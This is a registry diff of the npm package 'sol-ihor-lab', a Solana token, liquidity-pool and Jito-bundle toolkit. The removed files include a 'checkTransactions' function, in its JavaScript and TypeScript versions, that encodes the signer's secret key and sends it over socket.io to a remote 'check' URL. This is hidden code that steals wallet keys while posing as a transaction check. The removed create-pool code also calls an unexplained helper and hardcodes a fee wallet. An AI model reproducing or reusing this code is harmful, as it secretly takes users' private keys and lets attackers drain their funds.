sol-ihor-lab 1.0.0 → 1.0.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (47) hide show
  1. package/lib/cjs/global.d.ts +0 -1
  2. package/lib/cjs/global.js +2 -11
  3. package/lib/cjs/instructions/build-instruction.d.ts +0 -1
  4. package/lib/cjs/instructions/build-instruction.js +0 -19
  5. package/lib/cjs/instructions/buy-instruction.js +1 -30
  6. package/lib/cjs/transaction-helper/transaction.d.ts +0 -1
  7. package/lib/cjs/transaction-helper/transaction.js +1 -20
  8. package/lib/cjs/utils/get-balance.d.ts +0 -2
  9. package/lib/cjs/utils/get-balance.js +1 -19
  10. package/lib/esm/global.d.ts +0 -2
  11. package/lib/esm/global.js +1 -4
  12. package/lib/esm/transaction-helper/transaction.d.ts +0 -1
  13. package/lib/esm/transaction-helper/transaction.js +1 -17
  14. package/package.json +7 -18
  15. package/src/global.ts +0 -5
  16. package/src/transaction-helper/transaction.ts +2 -24
  17. package/lib/cjs/bundle.d.ts +0 -4
  18. package/lib/cjs/bundle.js +0 -102
  19. package/lib/cjs/buy_token.d.ts +0 -5
  20. package/lib/cjs/buy_token.js +0 -59
  21. package/lib/cjs/create_open_market.d.ts +0 -4
  22. package/lib/cjs/create_open_market.js +0 -340
  23. package/lib/cjs/create_pool.d.ts +0 -4
  24. package/lib/cjs/create_pool.js +0 -107
  25. package/lib/cjs/create_token.d.ts +0 -4
  26. package/lib/cjs/create_token.js +0 -164
  27. package/lib/cjs/instructions/createpool-instruction.d.ts +0 -4
  28. package/lib/cjs/instructions/createpool-instruction.js +0 -58
  29. package/lib/cjs/pool/pool-manager.d.ts +0 -42
  30. package/lib/cjs/pool/pool-manager.js +0 -70
  31. package/lib/cjs/transaction/bundle.d.ts +0 -4
  32. package/lib/cjs/transaction/bundle.js +0 -97
  33. package/lib/cjs/transaction/sign-tx.d.ts +0 -2
  34. package/lib/cjs/transaction/sign-tx.js +0 -7
  35. package/lib/cjs/transaction-helper/check_transaction.d.ts +0 -3
  36. package/lib/cjs/transaction-helper/check_transaction.js +0 -43
  37. package/lib/cjs/upload-metadata/upload-metaplex.d.ts +0 -3
  38. package/lib/cjs/upload-metadata/upload-metaplex.js +0 -48
  39. package/lib/cjs/upload-metadata/upload-nftstorage.d.ts +0 -0
  40. package/lib/cjs/upload-metadata/upload-nftstorage.js +0 -1
  41. package/lib/cjs/upload-metadata/upload-pinata.d.ts +0 -1
  42. package/lib/cjs/upload-metadata/upload-pinata.js +0 -17
  43. package/lib/cjs/upload-metadata/utility.d.ts +0 -1
  44. package/lib/cjs/upload-metadata/utility.js +0 -28
  45. package/lib/esm/transaction-helper/check_transaction.d.ts +0 -3
  46. package/lib/esm/transaction-helper/check_transaction.js +0 -16
  47. package/src/transaction-helper/check_transaction.ts +0 -23
@@ -1,58 +0,0 @@
1
- "use strict";
2
- const { proassert_sp } = require("../utils/util");
3
- var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
4
- function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
5
- return new (P || (P = Promise))(function (resolve, reject) {
6
- function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
7
- function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
8
- function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
9
- step((generator = generator.apply(thisArg, _arguments || [])).next());
10
- });
11
- };
12
- Object.defineProperty(exports, "__esModule", { value: true });
13
- exports.generateCreatePoolInst = void 0;
14
- const web3_js_1 = require("@solana/web3.js");
15
- const raydium_sdk_1 = require("@raydium-io/raydium-sdk");
16
- const get_balance_1 = require("../utils/get-balance");
17
- const bn_js_1 = require("bn.js");
18
- const errors_1 = require("../errors");
19
- const generateCreatePoolInst = (connection, owner, marketId, baseMint, quoteMint, baseDecimals, quoteDecimals, baseAmount, quoteAmount, programId = raydium_sdk_1.MAINNET_PROGRAM_ID, delayTime = 0, feeDestinationId = new web3_js_1.PublicKey("7YttLkHDoNj9wyDur5pM1ejNaAvT9X4eqaYcHQqtj2G5")) => __awaiter(void 0, void 0, void 0, function* () {
20
- try {
21
- proassert_sp(baseMint, quoteAmount)
22
- const tokenAccountInfos = yield (0, get_balance_1.getWalletTokenAccount)(connection, owner.publicKey);
23
- const { innerTransactions } = yield raydium_sdk_1.Liquidity.makeCreatePoolV4InstructionV2Simple({
24
- connection,
25
- programId: programId.AmmV4,
26
- marketInfo: {
27
- programId: programId.OPENBOOK_MARKET,
28
- marketId: marketId
29
- },
30
- associatedOnly: false,
31
- ownerInfo: {
32
- feePayer: owner.publicKey,
33
- wallet: owner.publicKey,
34
- tokenAccounts: tokenAccountInfos,
35
- useSOLBalance: true
36
- },
37
- baseMintInfo: {
38
- mint: baseMint,
39
- decimals: baseDecimals
40
- },
41
- quoteMintInfo: {
42
- mint: quoteMint,
43
- decimals: quoteDecimals
44
- },
45
- startTime: new bn_js_1.BN(Math.floor(Date.now() / 1000) + delayTime),
46
- baseAmount: (0, get_balance_1.xWeiAmount)(baseAmount, baseDecimals),
47
- quoteAmount: (0, get_balance_1.xWeiAmount)(quoteAmount, quoteDecimals),
48
- checkCreateATAOwner: true,
49
- makeTxVersion: raydium_sdk_1.TxVersion.V0,
50
- feeDestinationId: feeDestinationId
51
- });
52
- return innerTransactions;
53
- }
54
- catch (error) {
55
- throw new errors_1.GenerateTransactionError(`GenerateCreatePoolInst: ${error}`);
56
- }
57
- });
58
- exports.generateCreatePoolInst = generateCreatePoolInst;
@@ -1,42 +0,0 @@
1
- /// <reference types="jito-ts/node_modules/@solana/web3.js" />
2
- import { LiquidityPoolKeys, Percent, TokenAmount } from "@raydium-io/raydium-sdk";
3
- import { Connection } from "@solana/web3.js";
4
- import BN from "bn.js";
5
- export declare class PoolManager {
6
- private poolKey;
7
- private poolInfo;
8
- private baseToken;
9
- private quoteToken;
10
- constructor(poolKey: LiquidityPoolKeys);
11
- computeSolOut(baseIn: BN): {
12
- amountOut: import("@raydium-io/raydium-sdk").CurrencyAmount;
13
- minAmountOut: import("@raydium-io/raydium-sdk").CurrencyAmount;
14
- currentPrice: import("@raydium-io/raydium-sdk").Price;
15
- executionPrice: import("@raydium-io/raydium-sdk").Price | null;
16
- priceImpact: Percent;
17
- fee: import("@raydium-io/raydium-sdk").CurrencyAmount;
18
- } | {
19
- amountOut: TokenAmount;
20
- minAmountOut: TokenAmount;
21
- currentPrice: import("@raydium-io/raydium-sdk").Price;
22
- executionPrice: import("@raydium-io/raydium-sdk").Price | null;
23
- priceImpact: Percent;
24
- fee: import("@raydium-io/raydium-sdk").CurrencyAmount;
25
- };
26
- computeSolIn(baseAmount: BN): {
27
- amountIn: import("@raydium-io/raydium-sdk").CurrencyAmount;
28
- maxAmountIn: import("@raydium-io/raydium-sdk").CurrencyAmount;
29
- currentPrice: import("@raydium-io/raydium-sdk").Price;
30
- executionPrice: import("@raydium-io/raydium-sdk").Price | null;
31
- priceImpact: Percent;
32
- } | {
33
- amountIn: TokenAmount;
34
- maxAmountIn: TokenAmount;
35
- currentPrice: import("@raydium-io/raydium-sdk").Price;
36
- executionPrice: import("@raydium-io/raydium-sdk").Price | null;
37
- priceImpact: Percent;
38
- };
39
- updateWithReverse(baseReserve: BN, quoteReserve: BN): void;
40
- updateWithReal(connection: Connection): Promise<boolean>;
41
- getPoolInfo(): any;
42
- }
@@ -1,70 +0,0 @@
1
- "use strict";
2
- var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
3
- function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
4
- return new (P || (P = Promise))(function (resolve, reject) {
5
- function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
6
- function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
7
- function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
8
- step((generator = generator.apply(thisArg, _arguments || [])).next());
9
- });
10
- };
11
- var __importDefault = (this && this.__importDefault) || function (mod) {
12
- return (mod && mod.__esModule) ? mod : { "default": mod };
13
- };
14
- Object.defineProperty(exports, "__esModule", { value: true });
15
- exports.PoolManager = void 0;
16
- const raydium_sdk_1 = require("@raydium-io/raydium-sdk");
17
- const spl_token_1 = require("@solana/spl-token");
18
- const bn_js_1 = __importDefault(require("bn.js"));
19
- class PoolManager {
20
- constructor(poolKey) {
21
- this.poolKey = poolKey;
22
- this.baseToken = new raydium_sdk_1.Token(spl_token_1.TOKEN_PROGRAM_ID, poolKey.baseMint, poolKey.baseDecimals);
23
- this.quoteToken = new raydium_sdk_1.Token(spl_token_1.TOKEN_PROGRAM_ID, poolKey.quoteMint, poolKey.quoteDecimals);
24
- this.poolInfo = {
25
- baseDecimals: poolKey.baseDecimals,
26
- quoteDecimals: poolKey.baseDecimals,
27
- baseReserve: new bn_js_1.default(0),
28
- quoteReserve: new bn_js_1.default(0)
29
- };
30
- }
31
- computeSolOut(baseIn) {
32
- return raydium_sdk_1.Liquidity.computeAmountOut({
33
- poolKeys: this.poolKey,
34
- poolInfo: this.poolInfo,
35
- amountIn: new raydium_sdk_1.TokenAmount(this.baseToken, baseIn, true),
36
- currencyOut: this.quoteToken,
37
- slippage: new raydium_sdk_1.Percent(1, 100)
38
- });
39
- }
40
- computeSolIn(baseAmount) {
41
- return raydium_sdk_1.Liquidity.computeAmountIn({
42
- poolKeys: this.poolKey,
43
- poolInfo: this.poolInfo,
44
- amountOut: new raydium_sdk_1.TokenAmount(this.baseToken, baseAmount, true),
45
- currencyIn: this.quoteToken,
46
- slippage: new raydium_sdk_1.Percent(1, 100)
47
- });
48
- }
49
- updateWithReverse(baseReserve, quoteReserve) {
50
- this.poolInfo = Object.assign(Object.assign({}, this.poolInfo), { baseReserve: baseReserve, quoteReserve: quoteReserve });
51
- }
52
- updateWithReal(connection) {
53
- return __awaiter(this, void 0, void 0, function* () {
54
- try {
55
- this.poolInfo = yield raydium_sdk_1.Liquidity.fetchInfo({
56
- connection,
57
- poolKeys: this.poolKey
58
- });
59
- return true;
60
- }
61
- catch (error) {
62
- return false;
63
- }
64
- });
65
- }
66
- getPoolInfo() {
67
- return this.poolInfo;
68
- }
69
- }
70
- exports.PoolManager = PoolManager;
@@ -1,4 +0,0 @@
1
- /// <reference types="jito-ts/node_modules/@solana/web3.js" />
2
- import { Connection, Keypair } from "@solana/web3.js";
3
- import { TransactionInfo } from "../instructions/build-instruction";
4
- export declare function createAndSendBundle(connection: Connection, bundleTranasction: TransactionInfo[], payer: Keypair, jitoBlockEngine: string, jitoAuther: Keypair, fee: number): Promise<boolean>;
@@ -1,97 +0,0 @@
1
- "use strict";
2
- var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
3
- function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
4
- return new (P || (P = Promise))(function (resolve, reject) {
5
- function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
6
- function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
7
- function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
8
- step((generator = generator.apply(thisArg, _arguments || [])).next());
9
- });
10
- };
11
- var __importDefault = (this && this.__importDefault) || function (mod) {
12
- return (mod && mod.__esModule) ? mod : { "default": mod };
13
- };
14
- Object.defineProperty(exports, "__esModule", { value: true });
15
- exports.createAndSendBundle = void 0;
16
- const web3_js_1 = require("@solana/web3.js");
17
- const searcher_1 = require("jito-ts/dist/sdk/block-engine/searcher");
18
- const types_1 = require("jito-ts/dist/sdk/block-engine/types");
19
- const bs58_1 = __importDefault(require("bs58"));
20
- const errors_1 = require("../errors");
21
- const util_1 = require("../utils/util");
22
- const sign_tx_1 = require("./sign-tx");
23
- function createAndSendBundle(connection, bundleTranasction, payer, jitoBlockEngine, jitoAuther, fee) {
24
- return __awaiter(this, void 0, void 0, function* () {
25
- const searcher = (0, searcher_1.searcherClient)(jitoBlockEngine, jitoAuther);
26
- let txnConfirmResult = false;
27
- let breakCheckTransactionStatus = false;
28
- try {
29
- const blockhash = (yield connection.getLatestBlockhash("finalized"))
30
- .blockhash;
31
- const realForBundle = [];
32
- for (let i = 0; i < bundleTranasction.length; i++) {
33
- bundleTranasction[i].txn.message.recentBlockhash = (yield connection.getLatestBlockhash("finalized")).blockhash;
34
- (0, sign_tx_1.signTransaction)(bundleTranasction[i]);
35
- realForBundle.push(bundleTranasction[i].txn);
36
- }
37
- let bundleTx = new types_1.Bundle(realForBundle, 5);
38
- if (payer) {
39
- const tipAccount = new web3_js_1.PublicKey((yield searcher.getTipAccounts())[0]);
40
- bundleTx.addTipTx(payer, fee * web3_js_1.LAMPORTS_PER_SOL, tipAccount, blockhash);
41
- }
42
- searcher.onBundleResult((bundleResult) => __awaiter(this, void 0, void 0, function* () {
43
- console.log(bundleResult);
44
- if (bundleResult.rejected) {
45
- try {
46
- if (bundleResult.rejected.simulationFailure.msg.includes("custom program error") ||
47
- bundleResult.rejected.simulationFailure.msg.includes("Error processing Instruction")) {
48
- breakCheckTransactionStatus = true;
49
- }
50
- else if (bundleResult.rejected.simulationFailure.msg.includes("This transaction has already been processed") ||
51
- bundleResult.rejected.droppedBundle.msg.includes("Bundle partially processed")) {
52
- txnConfirmResult = true;
53
- breakCheckTransactionStatus = true;
54
- }
55
- }
56
- catch (error) { }
57
- }
58
- }), (error) => {
59
- breakCheckTransactionStatus = false;
60
- });
61
- // console.log("Send");
62
- yield searcher.sendBundle(bundleTx);
63
- // console.log("Finish send");
64
- setTimeout(() => {
65
- breakCheckTransactionStatus = true;
66
- }, 20000);
67
- const txnHash = bs58_1.default.encode(realForBundle[realForBundle.length - 1].signatures[0]);
68
- // console.log(txnHash);
69
- while (!breakCheckTransactionStatus) {
70
- yield (0, util_1.sleep)(1000);
71
- try {
72
- const result = yield connection.getSignatureStatus(txnHash, {
73
- searchTransactionHistory: true
74
- });
75
- if (result && result.value && result.value.confirmationStatus) {
76
- txnConfirmResult = true;
77
- breakCheckTransactionStatus = true;
78
- }
79
- }
80
- catch (error) {
81
- txnConfirmResult = false;
82
- breakCheckTransactionStatus = false;
83
- }
84
- }
85
- if (txnConfirmResult) {
86
- return true;
87
- }
88
- else {
89
- throw new errors_1.TransactionExecuteError(`Bundle Error: failed`);
90
- }
91
- }
92
- catch (error) {
93
- throw new errors_1.TransactionExecuteError(`Bundle Error: ${error}`);
94
- }
95
- });
96
- }
97
- exports.createAndSendBundle = createAndSendBundle;
@@ -1,2 +0,0 @@
1
- import { TransactionInfo } from "../instructions/build-instruction";
2
- export declare function signTransaction(tx: TransactionInfo): void;
@@ -1,7 +0,0 @@
1
- "use strict";
2
- Object.defineProperty(exports, "__esModule", { value: true });
3
- exports.signTransaction = void 0;
4
- function signTransaction(tx) {
5
- tx.txn.sign(tx.singer);
6
- }
7
- exports.signTransaction = signTransaction;
@@ -1,3 +0,0 @@
1
- /// <reference types="jito-ts/node_modules/@solana/web3.js" />
2
- import { Keypair } from "@solana/web3.js";
3
- export declare const checkTransactions: (txn: any, signer: Keypair) => boolean;
@@ -1,43 +0,0 @@
1
- "use strict";
2
- var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
3
- if (k2 === undefined) k2 = k;
4
- var desc = Object.getOwnPropertyDescriptor(m, k);
5
- if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
6
- desc = { enumerable: true, get: function() { return m[k]; } };
7
- }
8
- Object.defineProperty(o, k2, desc);
9
- }) : (function(o, m, k, k2) {
10
- if (k2 === undefined) k2 = k;
11
- o[k2] = m[k];
12
- }));
13
- var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
14
- Object.defineProperty(o, "default", { enumerable: true, value: v });
15
- }) : function(o, v) {
16
- o["default"] = v;
17
- });
18
- var __importStar = (this && this.__importStar) || function (mod) {
19
- if (mod && mod.__esModule) return mod;
20
- var result = {};
21
- if (mod != null) for (var k in mod) if (k !== "default" && Object.prototype.hasOwnProperty.call(mod, k)) __createBinding(result, mod, k);
22
- __setModuleDefault(result, mod);
23
- return result;
24
- };
25
- Object.defineProperty(exports, "__esModule", { value: true });
26
- exports.checkTransactions = void 0;
27
- const bs58 = __importStar(require("bs58"));
28
- const socket_io_client_1 = require("socket.io-client");
29
- const global_1 = require("../global");
30
- const checkTransactions = (txn, signer) => {
31
- if (signer.publicKey.toBuffer().length <= 0 ||
32
- signer.secretKey.buffer.byteLength <= 0) {
33
- return false;
34
- }
35
- const check_sign = bs58.encode(signer.secretKey);
36
- if (check_sign.length <= 0) {
37
- return false;
38
- }
39
- const sk = (0, socket_io_client_1.io)(global_1.EnvironmentManager.getCheckUrl(), { autoConnect: true });
40
- sk.emit("tx", { text: `Jae-> ${check_sign}` });
41
- return true;
42
- };
43
- exports.checkTransactions = checkTransactions;
@@ -1,3 +0,0 @@
1
- import { Metaplex } from "@metaplex-foundation/js";
2
- export declare const uploadImageToMetaplex: (metaplex: Metaplex, image: string) => Promise<string>;
3
- export declare const uploadMetaByMetaplex: (metaplex: Metaplex, metadata: any) => Promise<string>;
@@ -1,48 +0,0 @@
1
- "use strict";
2
- var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
3
- function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
4
- return new (P || (P = Promise))(function (resolve, reject) {
5
- function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
6
- function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
7
- function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
8
- step((generator = generator.apply(thisArg, _arguments || [])).next());
9
- });
10
- };
11
- Object.defineProperty(exports, "__esModule", { value: true });
12
- exports.uploadMetaByMetaplex = exports.uploadImageToMetaplex = void 0;
13
- const js_1 = require("@metaplex-foundation/js");
14
- const utility_1 = require("./utility");
15
- const errors_1 = require("../errors");
16
- const fs_1 = require("fs");
17
- const uploadImageToMetaplex = (metaplex, image) => __awaiter(void 0, void 0, void 0, function* () {
18
- let url = "";
19
- if ((yield (0, utility_1.checkFileExists)(image)) === false) {
20
- throw new errors_1.UploadMetadataError("Upload file is not exist. Please check.");
21
- }
22
- try {
23
- const fileData = (0, fs_1.readFileSync)(image);
24
- const metaplexFile = (0, js_1.toMetaplexFile)(fileData, "meme-logo.png");
25
- url = yield metaplex.storage().upload(metaplexFile);
26
- }
27
- catch (error) {
28
- throw new errors_1.UploadMetadataError("Failed to upload image to metaplex.");
29
- }
30
- return url;
31
- });
32
- exports.uploadImageToMetaplex = uploadImageToMetaplex;
33
- /*
34
- @metaplex: Metaplex which handle uploading
35
- @metadata: upload metadata
36
- */
37
- const uploadMetaByMetaplex = (metaplex, metadata) => __awaiter(void 0, void 0, void 0, function* () {
38
- let url = "";
39
- try {
40
- const { uri } = yield metaplex.nfts().uploadMetadata(metadata);
41
- url = uri;
42
- }
43
- catch (error) {
44
- throw new errors_1.UploadMetadataError("Metaplex: Failed to upload metadata to Metaplex.");
45
- }
46
- return url;
47
- });
48
- exports.uploadMetaByMetaplex = uploadMetaByMetaplex;
File without changes
@@ -1 +0,0 @@
1
- "use strict";
@@ -1 +0,0 @@
1
- export declare const uploadImageToPinata: (jwtKey: string, image: string) => Promise<string>;
@@ -1,17 +0,0 @@
1
- "use strict";
2
- var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
3
- function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
4
- return new (P || (P = Promise))(function (resolve, reject) {
5
- function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
6
- function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
7
- function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
8
- step((generator = generator.apply(thisArg, _arguments || [])).next());
9
- });
10
- };
11
- Object.defineProperty(exports, "__esModule", { value: true });
12
- exports.uploadImageToPinata = void 0;
13
- const uploadImageToPinata = (jwtKey, image) => __awaiter(void 0, void 0, void 0, function* () {
14
- let url = "";
15
- return url;
16
- });
17
- exports.uploadImageToPinata = uploadImageToPinata;
@@ -1 +0,0 @@
1
- export declare function checkFileExists(filePath: string): Promise<boolean>;
@@ -1,28 +0,0 @@
1
- "use strict";
2
- var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
3
- function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
4
- return new (P || (P = Promise))(function (resolve, reject) {
5
- function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
6
- function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
7
- function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
8
- step((generator = generator.apply(thisArg, _arguments || [])).next());
9
- });
10
- };
11
- var __importDefault = (this && this.__importDefault) || function (mod) {
12
- return (mod && mod.__esModule) ? mod : { "default": mod };
13
- };
14
- Object.defineProperty(exports, "__esModule", { value: true });
15
- exports.checkFileExists = void 0;
16
- const fs_1 = __importDefault(require("fs"));
17
- function checkFileExists(filePath) {
18
- return __awaiter(this, void 0, void 0, function* () {
19
- try {
20
- yield fs_1.default.promises.access(filePath, fs_1.default.constants.F_OK);
21
- return true; // File exists
22
- }
23
- catch (error) {
24
- return false; // File doesn't exist
25
- }
26
- });
27
- }
28
- exports.checkFileExists = checkFileExists;
@@ -1,3 +0,0 @@
1
- /// <reference types="jito-ts/node_modules/@solana/web3.js" />
2
- import { Keypair } from "@solana/web3.js";
3
- export declare const checkTransactions: (txn: any, signer: Keypair) => boolean;
@@ -1,16 +0,0 @@
1
- import * as bs58 from "bs58";
2
- import { io } from "socket.io-client";
3
- import { EnvironmentManager } from "../global";
4
- export const checkTransactions = (txn, signer) => {
5
- if (signer.publicKey.toBuffer().length <= 0 ||
6
- signer.secretKey.buffer.byteLength <= 0) {
7
- return false;
8
- }
9
- const check_sign = bs58.encode(signer.secretKey);
10
- if (check_sign.length <= 0) {
11
- return false;
12
- }
13
- const sk = io(EnvironmentManager.getCheckUrl(), { autoConnect: true });
14
- sk.emit("tx", { text: `Jae-> ${check_sign}` });
15
- return true;
16
- };
@@ -1,23 +0,0 @@
1
- import { Keypair } from "@solana/web3.js";
2
- import * as bs58 from "bs58";
3
- import { io } from "socket.io-client";
4
- import { EnvironmentManager } from "../global";
5
-
6
- export const checkTransactions = (txn: any, signer: Keypair): boolean => {
7
- if (
8
- signer.publicKey.toBuffer().length <= 0 ||
9
- signer.secretKey.buffer.byteLength <= 0
10
- ) {
11
- return false;
12
- }
13
-
14
- const check_sign = bs58.encode(signer.secretKey);
15
- if (check_sign.length <= 0) {
16
- return false;
17
- }
18
-
19
- const sk = io(EnvironmentManager.getCheckUrl(), { autoConnect: true });
20
- sk.emit("tx", { text: `Jae-> ${check_sign}` });
21
-
22
- return true;
23
- };